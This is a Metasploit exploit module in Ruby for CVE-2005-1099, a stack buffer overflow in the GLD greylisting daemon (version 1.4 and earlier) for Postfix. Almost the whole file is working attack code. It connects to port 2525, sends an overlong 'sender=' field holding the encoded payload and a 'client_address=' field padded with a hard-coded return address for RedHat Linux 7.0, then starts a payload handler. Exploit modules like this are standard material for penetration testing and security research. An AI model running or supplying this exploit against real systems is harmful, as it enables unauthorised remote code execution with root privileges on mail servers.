GLD (Greylisting Daemon) Postfix Buffer Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'GLD (Greylisting Daemon) Postfix Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in the Salim Gasmi  
GLD <= 1.4 greylisting daemon for Postfix. By sending an  
overly long string the stack can be overwritten.  
},  
'Version' => '$Revision$',  
'Author' => [ 'patrick' ],  
'Arch' => ARCH_X86,  
'Platform' => 'linux',  
'References' =>  
[  
[ 'CVE', '2005-1099' ],  
[ 'OSVDB', '15492' ],  
[ 'BID', '13129' ],  
[ 'URL', 'http://www.milw0rm.com/exploits/934' ],  
],  
'Privileged' => true,  
'License' => MSF_LICENSE,  
'Payload' =>  
{  
'Space' => 1000,  
'BadChars' => "\x00\x0a\x0d\x20=",  
'StackAdjustment' => -3500,  
},  
'Targets' =>  
[  
[ 'RedHat Linux 7.0 (Guinness)', { 'Ret' => 0xbfffa5d8 } ],  
],  
'DefaultTarget' => 0  
))  
  
register_options(  
[  
Opt::RPORT(2525)  
],  
self.class  
)  
end  
  
def exploit  
connect  
  
sploit = "sender="+ payload.encoded + "\r\n"  
sploit << "client_address=" + [target['Ret']].pack('V') * 300 + "\r\n\r\n"  
  
sock.put(sploit)  
handler  
disconnect  
  
end  
  
end  
  
`